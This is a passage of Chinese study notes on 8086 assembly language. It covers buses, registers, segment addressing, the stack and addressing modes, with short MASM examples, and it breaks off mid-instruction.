      <![CDATA[<h1 id="一、基础知识"><a href="#一、基础知识" class="headerlink" title="一、基础知识"></a>一、基础知识</h1><h3 id="1、指令"><a href="#1、指令" class="headerlink" title="1、指令"></a>1、指令</h3><p>机器指令：CPU能直接识别并执行的二进制编码</p><p>汇编指令：汇编指令是机器指令的助记符，同机器指令一一对应。</p><p>指令：指令通常由操作码和地址码（操作数）两部分组成</p><p>指令集：每种CPU都有自己的汇编指令集。</p><p>汇编语言由3类指令组成。</p><ul><li><p>汇编指令</p></li><li><p>伪指令：没有对应的机器码，由编译器执行，计算机并不执行</p></li><li><p>其他符号：如+、-、*、&#x2F;等，由编译器识别，没有对应的机器码。</p></li></ul><p>编译器：够将汇编指令转换成机器指令的翻译程序每一种CPU都有自己的汇编指令集。</p><p><img src="/medias/legacy/imgconvert.csdnimg.cn/a87da1a368763366.png" alt="在这里插入图片描述" loading="lazy"></p><p>在内存或磁盘上，指令和数据没有任何区别，都是二进制信息</p><h3 id="2、存储器"><a href="#2、存储器" class="headerlink" title="2、存储器"></a>2、存储器</h3><p>随机存储器（RAM）在程序的执行过程中可读可写，必须带电存储</p><p>只读存储器（ROM）在程序的执行过程中只读，关机数据不丢失</p><p><img src="/medias/legacy/imgconvert.csdnimg.cn/2f07c2521f798496.png" alt="在这里插入图片描述" loading="lazy"></p><p><img src="/medias/legacy/imgconvert.csdnimg.cn/e82bf9cc4be1d3c2.png" alt="在这里插入图片描述" loading="lazy"></p><p><img src="/medias/legacy/imgconvert.csdnimg.cn/a49dc56fbd75f62d.png" alt="在这里插入图片描述" loading="lazy"></p><p>（以上3张图片来自王道考研 - 计算机组成原理课件）</p><h3 id="3、总线"><a href="#3、总线" class="headerlink" title="3、总线"></a>3、总线</h3><p>1、总线</p><p>总线是连接各个部件的信息传输线，是各个部件共享的传输介质。</p><p>主板上有核心器件和一些主要器件，这些器件通过总线（地址总线、数据总线、控制总线）相连。这些器件有CPU、存储器、外围芯片组、扩展插槽等。扩展插槽上一般插有RAM内存条和各类接口卡。</p><p><img src="/medias/legacy/imgconvert.csdnimg.cn/a90db2139ed17322.png" alt="来自唐朔飞·计算机组成原理经典课件" loading="lazy"></p><p>总线根据位置分类：</p><ul><li><p>片内总线（芯片内部总线）</p></li><li><p>系统总线（计算机各部件之间的信息传输线）</p><p>根据传送信息的不同，系统总线从逻辑上又分为3类，地址总线、控制总线和数据总线。</p></li></ul><p>CPU要想进行数据的读写，必须和外部器件（标准的说法是芯片）进行以下3类信息的交互。</p><ol><li>地址总线：CPU通过地址总线来指定存储单元<br><img src="/medias/legacy/imgconvert.csdnimg.cn/c9c8ec5f74a02892.png" alt="在这里插入图片描述" loading="lazy"><br>1根导线可以传送的稳定状态只有两种，高电平或是低电平。用二进制表示就是1或0</li></ol><p>图示有10根地址线即一次可以传输10位，访问存储单元地址为1011，寻址范围为0 ~ (210 - 1)</p><ol><li>数据总线：CPU与内存或其他器件之间的数据传送是通过数据总线来进行的<br><img src="/medias/legacy/imgconvert.csdnimg.cn/9d53eaa9e71f8cf9.png" alt="在这里插入图片描述" loading="lazy"><br>8根数据线一次可传送一个8位二进制数据（即一个字节），传送2个字节需要两次；16根数据线一次可传送2个字节（内存对齐核心原理）</li><li>控制总线：CPU对外部器件的控制是通过控制总线来进行的。</li></ol><p>有多少根控制总线，就意味着CPU提供了对外部器件的多少种控制。<br>所以，控制总线的宽度决定了CPU对外部器件的控制能力。</p><h3 id="2、CPU对存储器的读写"><a href="#2、CPU对存储器的读写" class="headerlink" title="2、CPU对存储器的读写"></a>2、CPU对存储器的读写</h3><p><img src="/medias/legacy/imgconvert.csdnimg.cn/e8ebd72972542721.png" alt="在这里插入图片描述" loading="lazy"><br>1、 CPU通过地址线将地址信息3发出。<br>2、 CPU通过控制线发出内存读命令，选中存储器芯片，并通知它，将要从中读取数据。<br>3、 存储器将3号单元中的数据8通过数据线送入CPU。写操作与读操作的步骤相似。<br>联想：在组成原理中用微操作表示：(PC) → MAR; 1 → R; M(MAR) → MDR; …</p><h3 id="3、CPU对外设的控制"><a href="#3、CPU对外设的控制" class="headerlink" title="3、CPU对外设的控制"></a>3、CPU对外设的控制</h3><p><strong>CPU对外设都不能直接控制，如显示器、音箱、打印机等。</strong></p><p><strong>直接控制这些设备进行工作的是插在扩展插槽上的接口卡。</strong></p><p>扩展插槽通过总线和CPU相连，所以接口卡也通过总线同CPU相连。CPU可以直接控制这些接口卡，从而实现CPU对外设的间接控制。</p><p>如：<strong>CPU无法直接控制显示器，但CPU可以直接控制显卡，从而实现对显示器的间接控制</strong></p><h3 id="4、内存地址空间"><a href="#4、内存地址空间" class="headerlink" title="4、内存地址空间"></a>4、内存地址空间</h3><p>CPU将系统中各类存储器看作一个逻辑存储器，这个逻辑存储器就是我们所说的内存地址空间。<br>对于CPU，所有存储器中的存储单元都处于一个统一的逻辑存储器中，它的容量受CPU寻址能力限制。(或许就是计组中学的统一编址吧)<br><img src="/medias/legacy/imgconvert.csdnimg.cn/98d30296e16bf95e.png" alt="在这里插入图片描述" loading="lazy"><br>每个物理存储器在这个逻辑存储器中占有一个地址段，即一段地址空间。CPU在这段地址空间中读写数据，实际上就是在相对应的物理存储器中读写数据（对ROM写无效）。<br><img src="/medias/legacy/imgconvert.csdnimg.cn/b718b267757ea554.png" alt="在这里插入图片描述" loading="lazy"></p><h2 id="二、寄存器"><a href="#二、寄存器" class="headerlink" title="二、寄存器"></a>二、寄存器</h2><h3 id="1、寄存器"><a href="#1、寄存器" class="headerlink" title="1、寄存器"></a>1、寄存器</h3><p><strong>CPU由运算器、控制器、寄存器等器件构成，这些器件靠片内总线相连。</strong></p><p><strong>运算器进行信息处理；控制器控制各种器件进行工作；寄存器进行信息存储；</strong></p><p>8086CPU有14个寄存器：AX、BX、CX、DX、SI、DI、SP、BP、IP、CS、SS、DS、ES、PSW都是16位</p><p><img src="/medias/legacy/imgconvert.csdnimg.cn/d859aff02de15e54.png" alt="在这里插入图片描述" loading="lazy"></p><p>16位结构CPU具有下面几方面的结构特性。</p><ul><li>运算器一次最多可以处理16位的数据；</li><li>寄存器的最大宽度为16位；</li><li>寄存器和运算器之间的通路为16位。</li></ul><p>8086CPU可以一次性处理以下两种尺寸的数据。</p><ul><li>字节：记为byte，一个字节由8个bit组成，可以存在8位寄存器中。</li><li>字：记为word，一个字由两个字节组成，可以存在一个16位寄存器中(16位CPU)<br><img src="/medias/legacy/imgconvert.csdnimg.cn/b978e0c21d020c74.png" alt="在这里插入图片描述" loading="lazy"><br>8086采用小端模式：高地址存放高位字节，低地址存放低位字节。</li></ul><h3 id="2、通用寄存器"><a href="#2、通用寄存器" class="headerlink" title="2、通用寄存器"></a>2、通用寄存器</h3><p><strong>通用寄存器</strong>：通常用来存放<strong>一般性的数据</strong>，有AX、BX、CX、DX，它们可分为两个可独立使用的8位寄存器，</p><table><thead><tr><th align="left">16位</th><th align="left">8高位</th><th align="left">8低位</th></tr></thead><tbody><tr><td align="left">AX</td><td align="left">AH</td><td align="left">AL</td></tr><tr><td align="left">BX</td><td align="left">BH</td><td align="left">BL</td></tr><tr><td align="left">CX</td><td align="left">CH</td><td align="left">CL</td></tr><tr><td align="left">DX</td><td align="left">DH</td><td align="left">DL</td></tr></tbody></table><p>在进行数据传送或运算时，要注意指令的两个操作对象的位数应当是一致的</p><p>一个8位寄存器所能存储的数据范围是0 ~ 28-1。</p><h3 id="3、8086CPU给出物理地址的方法"><a href="#3、8086CPU给出物理地址的方法" class="headerlink" title="3、8086CPU给出物理地址的方法"></a>3、8086CPU给出物理地址的方法</h3><p>8086CPU有20位地址总线，可以传送20位地址，达到1MB寻址能力。<br>8086CPU又是16位结构，在内部一次性处理、传输、暂时存储的地址为16位。<br>从8086CPU的内部结构来看，如果将地址从内部简单地发出，那么它只能送出16位的地址，表现出的寻址能力只有64KB。<br>8086CPU采用一种在内部用两个16位地址合成的方法来形成一个20位的物理地址。<br><img src="/medias/legacy/imgconvert.csdnimg.cn/3538e2354af7dc4c.png" alt="在这里插入图片描述" loading="lazy"><br>当8086CPU要读写内存时：</p><ol><li>CPU中的相关部件提供两个16位的地址，一个称为段地址，另一个称为偏移地址；</li><li>地址加法器将两个16位地址合成为一个20位的物理地址；</li></ol><p>地址加法器采用物理地址 &#x3D; 段地址×16 + 偏移地址的方法用段地址和偏移地址合成物理地址。</p><p>例如，8086CPU要访问地址为<code>123C8H</code>的内存单元，<code>1230H</code>左移一位(空出4位)加上<code>00C8H</code>合成<code>123C8H</code></p><h3 id="4、段寄存器"><a href="#4、段寄存器" class="headerlink" title="4、段寄存器"></a>4、段寄存器</h3><p>我们可以将一段内存定义为一个段，用一个段地址指示段，用偏移地址访问段内的单元，可以用分段的方式来管理内存。</p><p><u>用一个段<strong>存放数据</strong>，将它定义为“<strong>数据段</strong>”；</u></p><p><u>用一个段<strong>存放代码</strong>，将它定义为“<strong>代码段</strong>”；</u></p><p><u>用一个段<strong>当作栈</strong>，将它定义为“<strong>栈段</strong>”。</u></p><p>注意：</p><ul><li>一个段的起始地址一定是16的倍数；</li><li>偏移地址为16位，变化范围为0-FFFFH，所以一个段的长度最大为64KB。</li><li><u>CPU可以用不同的段地址和偏移地址形成同一个物理地址。</u></li></ul><p>段寄存器：<strong>8086CPU有4个段寄存器：<code>CS、DS、SS、ES</code>，提供内存单元的段地址。</strong></p><h3 id="1、CS和IP"><a href="#1、CS和IP" class="headerlink" title="1、CS和IP"></a>1、CS和IP</h3><p><strong>CS</strong>为<strong>代码段寄存器</strong>，IP为<strong>指令指针寄存器</strong>，</p><p>CPU将CS、IP中的内容当作指令的段地址和偏移地址,用它们合成指令的物理地址,</p><p>CPU将CS:IP指向的内容当作指令执行。(即PC)<br><img src="/medias/legacy/imgconvert.csdnimg.cn/d77e2db35f52ad70.png" alt="在这里插入图片描述" loading="lazy"><br>8086CPU的工作过程简要描述</p><ol><li>从CS:IP指向的内存单元读取指令，读取的指令进入指令缓冲器；</li><li>IP&#x3D;IP+所读取指令的长度，从而指向下一条指令；</li><li>执行指令。转到步骤1，重复这个过程。</li></ol><p>在8086CPU加电启动或复位后（即CPU刚开始工作时）CS和IP被设置为CS&#x3D;FFFFH，IP&#x3D;0000H，即在8086PC机刚启动时，FFFF0H单元中的指令是8086PC机开机后执行的第一条指令。</p><p>8086CPU提供转移指令修改CS、IP的内容。</p><ul><li>jmp 段地址:偏移地址：用指令中给出的段地址修改CS，偏移地址修改IP。如：<code>jmp 2AE3:3</code></li><li>jmp 某一合法寄存器：仅修改IP的内容。如：<code>jmp ax</code>。在含义上好似：<code>mov IP，ax</code></li></ul><p>8086CPU不支持将数据直接送入段寄存器的操作，这属于8086CPU硬件设计</p><h3 id="2、DS-和-address"><a href="#2、DS-和-address" class="headerlink" title="2、DS 和 [address]"></a>2、DS 和 [address]</h3><p>DS寄存器：通常用来存放要访问数据的段地址</p><p><strong>[address]表示一个偏移地址为address的内存单元，段地址默认放在ds中</strong></p><p>通过数据段段地址和偏移地址即可定位内存单元。</p><blockquote><p>mov bx, 1000H ;<strong>8086CPU不支持将数据直接送入段寄存器的操作</strong></p><p>mov ds, bx ;ds存放数据段地址</p><p>mov [0], al ;将al数据（1字节）存到1000H段的0偏移地址处，即10000H</p><p>mov ax, [2] ;将数据段偏移地址2处的一个字（8086为2字节）存放到ax寄存器</p><p>add cx, [4] ;将偏移地址4处的一个字数据加上cx寄存器数据放到cx寄存器</p><p>sub dx, [6] ;dx寄存器数据减去数据段偏移地址6处的字数据存到dx</p></blockquote><h3 id="3、SS-和-SP"><a href="#3、SS-和-SP" class="headerlink" title="3、SS 和 SP"></a>3、SS 和 SP</h3><p>在基于8086CPU编程的时候，可以将一段内存当作栈来使用。</p><p>栈段寄存器SS，存放段地址，SP寄存器存放偏移地址，任意时刻，SS:SP指向栈顶元素</p><p>8086CPU中，入栈时，栈顶从高地址向低地址方向增长。</p><p>push ax表示将寄存器ax中的数据送入栈中，由两步完成。</p><p>1、SP&#x3D;SP-2，SS:SP指向当前栈顶前面的单元，以当前栈顶前面的单元为新的栈顶；<br>2、将ax中的内容送入SS:SP指向的内存单元处，SS:SP此时指向新栈顶。</p><p><img src="/medias/legacy/imgconvert.csdnimg.cn/e2f255ad9050b4e0.png" alt="在这里插入图片描述" loading="lazy"></p><p><code>pop ax</code>表示从栈顶取出数据送入ax，由以下两步完成。</p><blockquote><ol><li>将SS:SP指向的内存单元处的数据送入ax中；</li><li>SP&#x3D;SP+2，SS:SP指向当前栈顶下面的单元，以当前栈顶下面的单元为新的栈顶。</li></ol></blockquote><p>实验</p><ol><li>将10000H~1000FH这段空间当作栈，初始状态栈是空的；</li><li>设置AX&#x3D;001AH，BX&#x3D;001BH；</li><li>将AX、BX中的数据入栈；</li><li>然后将AX、BX清零；</li><li>从栈中恢复AX、BX原来的内容。</li></ol><pre class="language-none"><code class="language-none">mov ax, 1000H mov ss, ax mov sp, 0010H ;初始化栈顶mov ax, 001AHmov bx, 001BH push ax push bx ;ax、bx入栈sub ax, ax ;将ax清零，也可以用mov ax，0；sub ax，ax的机器码为2个字节;mov ax，0的机器码为3个字节。&#96; sub bx, bx ;pop bx ;从栈中恢复ax、bx原来的数据pop ax ;</code></pre><h2 id="三、第一个程序"><a href="#三、第一个程序" class="headerlink" title="三、第一个程序"></a>三、第一个程序</h2><h3 id="1、汇编程序从写出到执行的过程"><a href="#1、汇编程序从写出到执行的过程" class="headerlink" title="1、汇编程序从写出到执行的过程"></a>1、汇编程序从写出到执行的过程</h3><p><img src="/medias/legacy/imgconvert.csdnimg.cn/36a062f661db20d0.png" alt="在这里插入图片描述" loading="lazy"></p><p>加载后，CPU的CS:IP指向程序的第一条指令（即程序的入口）</p><pre class="language-none"><code class="language-none">;1.asmassume cs:codesg ;将用作代码段的段codesg和段寄存器cs联系起来。codesg segment ;定义一个段，段的名称为“codesg”，这个段从此开始;codesg是一个标号，作为一个段的名称，最终被编译连接成一个段的段地址mov ax, 0123Hmov bx, 0456H add ax, bxadd ax, ax mov ax, 4c00H int  21H ;这两条指令实现程序的返回codesg ends ;名称为“codesg”的段到此结束end ;编译器在编译汇编程序的过程中，碰到了伪指令end，结束对源程序的编译</code></pre><p><img src="/medias/legacy/imgconvert.csdnimg.cn/10b5cf142aa63405.png" alt="在这里插入图片描述" loading="lazy"><br><img src="/medias/legacy/imgconvert.csdnimg.cn/d3d434a499573c87.png" alt="在这里插入图片描述" loading="lazy"></p><h3 id="2、程序执行过程跟踪"><a href="#2、程序执行过程跟踪" class="headerlink" title="2、程序执行过程跟踪"></a>2、程序执行过程跟踪</h3><p>DOS系统中.EXE文件中的程序的加载过程</p><p><img src="/medias/legacy/imgconvert.csdnimg.cn/54f6a69fc3afe203.png" alt="在这里插入图片描述" loading="lazy"></p><p><img src="/medias/legacy/imgconvert.csdnimg.cn/423d8a3a013e24ac.png" alt="在这里插入图片描述" loading="lazy"></p><h2 id="四、-bx-和-loop指令"><a href="#四、-bx-和-loop指令" class="headerlink" title="四、[bx] 和 loop指令"></a>四、[bx] 和 loop指令</h2><h3 id="1、-bx-和-loop指令"><a href="#1、-bx-和-loop指令" class="headerlink" title="1、[bx] 和 loop指令"></a>1、[bx] 和 loop指令</h3><p>[bx] 的含义：[bx]同样表示一个内存单元，它的偏移地址在bx中，段地址默认在ds中</p><p>loop指令的格式是：loop 标号，CPU执行loop指令的时候，要进行两步操作，</p><blockquote><ol><li>(cx) &#x3D; (cx) - 1；</li><li>判断 cx 中的值，不为零则转至标号处执行程序，如果为零则向下执行。</li></ol></blockquote><p>例如：计算212</p><pre class="language-none"><code class="language-none">assume cs:codecode segmentmov ax, 2mov cx, 11 ;循环次数s: add ax, ax loop s ;在汇编语言中，标号代表一个地址，标号s实际上标识了一个地址，;这个地址处有一条指令：add ax，ax。;执行loop s时，首先要将（cx）减1，然后若（cx）不为0，则向前;转至s处执行add ax，ax。所以，可以利用cx来控制add ax，ax的执行次数。mov ax,4c00h int 21h code ends end</code></pre><h3 id="loop-和-bx-的联合应用"><a href="#loop-和-bx-的联合应用" class="headerlink" title="loop 和 [bx] 的联合应用"></a>loop 和 [bx] 的联合应用</h3><p>计算ffff:0 ~ ffff:b单元中的数据的和，结果存储在dx中</p><p>问题分析：</p><p>这些内存单元都是字节型数据范围0 ~ 255 ，12个字节数据和不会超过65535，dx可以存下<br>对于8位数据不能直接加到 dx</p><p><strong>解决方案：</strong></p><p>用一个16位寄存器来做中介。将内存单元中的8位数据赋值到一个16位寄存器a中，再将ax中的数据加到dx</p><pre class="language-none"><code class="language-none">assume cs:code code segment mov ax, 0ffffh ;在汇编源程序中，数据不能以字母开头，所以要在前面加0。mov ds, ax mov bx, 0 ;初始化ds:bx指向ffff:0mov dx, 0 ;初始化累加寄存器dx，（dx）&#x3D; 0mov cx, 12 ;初始化循环计数寄存器cx，（cx）&#x3D; 12s: mov al, [bx]mov ah, 0add dx, ax ;间接向dx中加上（（ds）* 16 +（bx））单元的数值&#96;inc bx ;ds:bx指向下一个单元loop s mov ax, 4c00hint  21h code ends end</code></pre><h3 id="2、段前缀"><a href="#2、段前缀" class="headerlink" title="2、段前缀"></a>2、段前缀</h3><blockquote><p>mov ax, ds:[bx]<br>mov ax, cs:[bx]<br>mov ax, ss:[bx]<br>mov ax, es:[bx]<br>mov ax, ss:[0]<br>mov ax, cs:[0]</p></blockquote><p>这些出现在访问内存单元的指令中，用于显式地指明内存单元的段地址<br>的“ds:”，“cs:”，“ss:”，“es:”，在汇编语言中称为段前缀。</p><p>段前缀的使用</p><p>将内存<code>ffff:0 ~ ffff:b</code>单元中的数据复制到<code>0:200 ~ 0:20b</code>单元中。</p><pre class="language-none"><code class="language-none">assume cs:code code segment mov ax, 0ffffh mov ds, ax ;（ds）&#x3D; 0ffffh mov ax, 0020h mov es, ax ;（es）&#x3D; 0020h 0:200 等效于 0020:0 mov bx, 0 ;（bx）&#x3D; 0，此时ds:bx指向ffff:0，es:bx指向0020:0 mov cx，12 ;（cx）&#x3D;12，循环12次s: mov dl，[bx] ;（d1）&#x3D;（（ds）* 16+（bx）），将ffff:bx中的字节数据送入dl mov es:[bx]，dl ;（（es）*16+（bx））&#x3D;（d1），将dl中的数据送入0020:bx inc bx ;（bx）&#x3D;（bx）+1loop s mov ax，4c00h int 21h code ends end</code></pre><h2 id="五、包含多个段的程序"><a href="#五、包含多个段的程序" class="headerlink" title="五、包含多个段的程序"></a>五、包含多个段的程序</h2><p>程序中对段名的引用，将被编译器处理为一个表示段地址的数值。</p><blockquote><p>mov ax, data</p><p>mov ds, ax</p><p>mov bx, ds:[6]</p></blockquote><p>在代码段中使用数据</p><pre class="language-none"><code class="language-none">;计算 8 个数据的和存到 ax 寄存器assume cs:code code segment dw 0123h,0456h,0789h,0abch,0defh,0fedh,0cbah,0987h ;define word 定义8个字形数据start:mov bx, 0 ;标号startmov ax, 0 mov cx, 8s:add ax, cs:[bx]add bx, 2loop s mov ax, 4c00h int 21h code endsend start ;end除了通知编译器程序结束外，还可以通知编译器程序的入口在什么地方  ;用end指令指明了程序的入口在标号start处，也就是说，“mov bx，0”是程序的第一条指令。</code></pre><p>在代码段中使用栈</p><pre class="language-none"><code class="language-none">;利用栈，将程序中定义的数据逆序存放。assume cs:codesg codesg segment dw 0123h，0456h，0789h，0abch，0defh，0fedh，0cbah，0987h ; 0-15单元dw 0，0，0，0，0，0，0，0，0，0，0，0，0，0，0，0 ; 16-47单元作为栈使用start:mov ax, cs mov ss, ax mov sp, 30h ;将设置栈顶ss:sp指向栈底cs:30。 30h &#x3D; 48dmov bx, 0mov cx, 8s:push cs:[bx]add bx, 2loop s ;以上将代码段0~15单元中的8个字型数据依次入栈mov bx, 0mov cx, 8s0:pop cs:[bx]add bx，2loop s0 ;以上依次出栈8个字型数据到代码段0~15单元中mov ax，4c00h int 21h codesg ends end start;指明程序的入口在start处</code></pre><p>将数据、代码、栈放入不同的段</p><pre class="language-none"><code class="language-none">assume cs:code,ds:data,ss:stack data segment dw 0123h,0456h,0789h,0abch,0defh,0fedh,0cbah,0987h ;0-15单元data ends stack segment dw 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 ;0-31单元stack ends code segment start:mov ax, stack;将名称为“stack”的段的段地址送入axmov ss, axmov sp, 20h ;设置栈顶ss:sp指向stack:20。 20h &#x3D; 32dmov ax, data ;将名称为“data”的段的段地址送入axmov ds, ax ;ds指向data段mov bx, 0 ;ds:bx指向data段中的第一个单元mov cx, 8s: push [bx]add bx, 2loop s ;以上将data段中的0~15单元中的8个字型数据依次入栈mov bx, 0mov cx, 8s0:pop [bx]add bx, 2loop s0 ;以上依次出栈8个字型数据到data段的0~15单元中mov ax, 4c00h int 21h code endsend start;“end start”说明了程序的入口，这个入口将被写入可执行文件的描述信息，;可执行文件中的程序被加载入内存后，CPU的CS:IP被设置指向这个入口，从而开始执行程序中的第一条指令</code></pre><p>关于可执行文件结构与程序入口的详细描述参考：<a href="https://www.jb51.net/article/178797.htm" target="_blank" rel="noopener">PE文件结构</a></p><h2 id="六、更灵活的定位内存地址的方法"><a href="#六、更灵活的定位内存地址的方法" class="headerlink" title="六、更灵活的定位内存地址的方法"></a>六、更灵活的定位内存地址的方法</h2><h3 id="1、and-和-or"><a href="#1、and-和-or" class="headerlink" title="1、and 和 or"></a>1、and 和 or</h3><p>and指令：逻辑与指令，按位进行与运算。</p><blockquote><p>mov al, 01100011B<br>and al, 00111011B</p></blockquote><p>执行后：al&#x3D;00100011B即都为1才为1</p><p>or指令：逻辑或指令，按位进行或运算。</p><blockquote><p>mov al, 01100011B<br>or al, 00111011B</p></blockquote><p>执行后：al&#x3D;01111011B 即只要有一个为1就为1</p><p><strong>关于ASCII码</strong></p><p>世界上有很多编码方案，有一种方案叫做ASCII编码，是在计算机系统中通常被采用的。简单地说，所谓编码方案，就是一套规则，它约定了用什么样的信息来表示现实对象。比如说，在ASCII编码方案中，用61H表示“a”，62H表示“b”。一种规则需要人们遵守才有意义。</p><p>在文本编辑过程中，我们按一下键盘的a键，就会在屏幕上看到“a”。我们按下键盘的a键，这个按键的信息被送入计算机，计算机用ASCII码的规则对其进行编码，将其转化为61H存储在内存的指定空间中；文本编辑软件从内存中取出61H，将其送到显卡上的显存中；工作在文本模式下的显卡，用ASCII码的规则解释显存中的内容，<br>61H被当作字符“a”，显卡驱动显示器，将字符“a”的图像画在屏幕上。我们可以看到，显卡在处理文本信息的时候，是按照ASCII码的规则进行的。这也就是说，如果我们要想在显示器上看到“a”，就要给显卡提供“a”的ASCIⅡ码，61H。如何提供？当然是写入显存中。</p><p>以字符形式给出的数据</p><pre class="language-none"><code class="language-none">assume cs:code,ds:data data segment db &#39;unIx&#39; ;相当于“db 75H，6EH，49H，58H”db &#39;foRK&#39;data ends code segmentstart:mov al, &#39;a&#39; ;相当于“mov al, 61H”，“a”的ASCI码为61H；mov b1, &#39;b&#39;mov ax, 4c00h int 21h code endsend start</code></pre><p>大小写转换的问题</p><p><img src="/medias/legacy/imgconvert.csdnimg.cn/a184f7dfb66f2b06.png" alt="在这里插入图片描述" loading="lazy"></p><p>小写字母的ASCII码值比大写字母的ASCII码值大20H</p><p>大写字母ASCII码的第5位为0，小写字母的第5位为1(其他一致)</p><pre class="language-none"><code class="language-none">assume cs:codesg,ds:datasg datasg segment db &#39;BaSiC&#39;db &#39;iNfOrMaTion&#39;datasg endcodesg segment start:mov ax, datasg mov ds, ax;设置ds 指向 datasg段mov bx, 0;设置（bx）&#x3D;0，ds:bx指向&#39;BaSic&#39;的第一个字母mov cx, 5  ;设置循环次数5，因为&#39;Basic&#39;有5个字母s:mov al, [bx] ;将ASCII码从ds:bx所指向的单元中取出and al, 11011111B;将al中的ASCII码的第5位置为0，变为大写字母mov [bx], al ;将转变后的ASCII码写回原单元inc bx ;（bx）加1，ds:bx指向下一个字母loop s mov bx, 5;设置（bx）&#x3D;5，ds:bx指向，iNfOrMaTion&#39;的第一个字母mov cx, 11;设置循环次数11，因为‘iNfOrMaTion&#39;有11个字母s0:mov al, [bx]or al, 00100000B;将a1中的ASCII码的第5位置为1，变为小写字母mov [bx], al inc bxloop s0mov ax, 4c00h int 21h codesg ends</code></pre><h3 id="2、-bx-idata"><a href="#2、-bx-idata" class="headerlink" title="2、[bx+idata]"></a>2、[bx+idata]</h3><p>[bx+idata]表示一个内存单元, 例如：mov ax, [bx+200]<br>该指令也可以写成如下格式：</p><blockquote><p>mov ax, [200+bx]</p><p>mov ax, 200[bx]</p><p>mov ax, [bx].200</p></blockquote><p>用[bx+idata]的方式进行数组的处理</p><pre class="language-none"><code class="language-none">assume cs:codesg,ds:datasg datasg segment db &#39;BaSiC&#39;;转为大写db &#39;MinIx&#39;;转为小写datasg endscodesg segmentstart:mov ax, datasg mov ds, ax mov bx, 0 ;初始ds:bxmov cx, 5s:mov al, 0[bx] and al, 11011111b ;转为大写字母mov 0[bx], al ;写回mov al, 5[bx] ;[5 + bx]or al, 00100000b ;转为小写字母mov 5[bx], al inc bxloop smov ax, 4c00h int 21hcodesg endsend start</code></pre><p>C语言描述</p><pre class="language-none"><code class="language-none">int main()&#123;char a[] &#x3D; &quot;BaSic&quot;;char b[] &#x3D; &quot;MinIX&quot;;int i &#x3D; 0;do&#123;a[i] &#x3D; a[i] &amp; 0xDF;b[i] &#x3D; b[i] | 0x20;i++;&#125; while(i &lt; 5);return 0; &#125;</code></pre><h3 id="3、SI-、DI-与-寻址方式的灵活应用"><a href="#3、SI-、DI-与-寻址方式的灵活应用" class="headerlink" title="3、SI 、DI 与 寻址方式的灵活应用"></a>3、SI 、DI 与 寻址方式的灵活应用</h3><p><strong>1、si 、di</strong></p><p>si和di是8086CPU中和bx功能相近的寄存器，si和di不能够分成两个8位寄存器来使用。</p><pre class="language-none"><code class="language-none">assume cs: codesg, ds: datasg datasg segment db &#39;welcome to masm!&#39;;用si和di实现将字符串‘welcome to masm！&quot;复制到它后面的数据区中。db &#39;................&#39;datasg endscodesg segment start:mov ax, datasg mov ds, ax mov si, 0mov cx, 8s:mov ax, 0[si] ;[0 + si]mov 16[si], ax ;[16 + si] 使用[bx +idata]方式代替di，使程序更简洁add si, 2 loop s mov ax, 4c00h int 21h codesg ends end start</code></pre><p><strong>2、[bx + si] 和 [bx + di]</strong></p><p>[bx+si]和[bx+di]的含义相似</p><p>[bx+si]表示一个内存单元，它的偏移地址为（bx）+（si）</p><p>指令mov ax, [bx + si]的含义：将一个内存单元字数据的内容送入ax，段地址在ds中</p><p>该指令也可以写成如下格式：mov ax, [bx][si]</p><p><strong>3、[bx+si+idata]和[bx+di+idata]</strong><br>[bx+si+idata]表示一个内存单元，它的偏移地址为（bx）+（si）+idata</p><p>指令mov ax，[bx+si+idata]的含义：将一个内存单元字数据的内容送入ax，段地址在ds中</p><p><strong>4、不同的寻址方式的灵活应用</strong><br>[idata]用一个常量来表示地址，可用于直接定位一个内存单元；<br>[bx]用一个变量来表示内存地址，可用于间接定位一个内存单元；<br>[bx+idata]用一个变量和常量表示地址，可在一个起始地址的基础上用变量间接定位一个内存单元；<br>[bx+si]用两个变量表示地址；<br>[bx+si+idata]用两个变量和一个常量表示地址。</p><pre class="language-none"><code class="language-none">;将datasg段中每个单词改为大写字母assume cs:codesg,ds:datasg,ss:stacksg datasg segmentdb &#39;ibm  &#39; ;16db &#39;dec  &#39; db &#39;dos  &#39;db &#39;vax  &#39; ;看成二维数组datasg ends stacksg segment ;定义一个段，用来做栈段，容量为16个字节dw 0, 0, 0, 0, 0, 0, 0, 0stacksg ends codesg segment start:mov ax, stacksg mov ss, axmov sp, 16 mov ax, datasg mov ds, ax mov bx, 0 ;初始ds:bx;cx为默认循环计数器，二重循环只有一个计数器，所以外层循环先保存cx值，再恢复，我们采用栈保存mov cx, 4s0:push cx;将外层循环的cx值入栈mov si, 0mov cx, 3;cx设置为内层循环的次数s:mov al, [bx+si]and al, 11011111b ;每个字符转为大写字母mov [bx+si], al inc siloop s add bx, 16 ;下一行pop cx;恢复cx值loop s0 ;外层循环的loop指令将cx中的计数值减1mov ax，4c00H int 21H codesg endsend start</code></pre><h2 id="七、数据处理的两个基本问题"><a href="#七、数据处理的两个基本问题" class="headerlink" title="七、数据处理的两个基本问题"></a>七、数据处理的两个基本问题</h2><p><strong>1、 bx、si、di和bp</strong></p><p>在8086CPU中，只有这4个寄存器可以用在“[…]”中来进行内存单元的寻址。</p><p>在[ ]中，这4个寄存器可以单个出现，或只能以4种组合出现：bx和si、bx和di、bp和si、bp和di。</p><p>只要在[……]中使用寄存器bp，而指令中没有显性地给出段地址, 段地址就默认在ss中</p><p><strong>2、机器指令处理的数据在什么地方</strong><br>数据处理大致可分为3类：读取、写入、运算。</p><p>在机器指令这一层来讲，并不关心数据的值是多少，而关心指令执行前一刻，它将要处理的数据所在的位置。指令在执行前，所要处理的数据可以在3个地方：CPU内部、内存、端口</p><p><img src="/medias/legacy/imgconvert.csdnimg.cn/99a33afae09e68fd.png" alt="在这里插入图片描述" loading="lazy"></p><p><strong>3、汇编语言中数据位置的表达</strong></p><p>汇编语言中用3个概念来表达数据的位置</p><p>立即数（idata）</p><blockquote><p>mov ax, 1 ;对于直接包含在机器指令中的数据（执行前在CPU的指令缓冲器中）<br>add bx, 2000h ;在汇编语言中称为：立即数（idata）<br>or bx, 00010000b<br>mov al, ‘a’</p></blockquote><p>寄存器</p><blockquote><p>mov ax, bx ;指令要处理的数据在寄存器中，在汇编指令中给出相应的寄存器名。<br>mov ds, ax<br>push bx<br>mov ds:[0], bx<br>push ds<br>mov ss, ax<br>mov sp, ax</p></blockquote><p>段地址（SA）和偏移地址（EA）</p><blockquote><p>;指令要处理的数据在内存中，在汇编指令中可用[X]的格式给出EA，SA在某个段寄存器中。<br>mov ax, 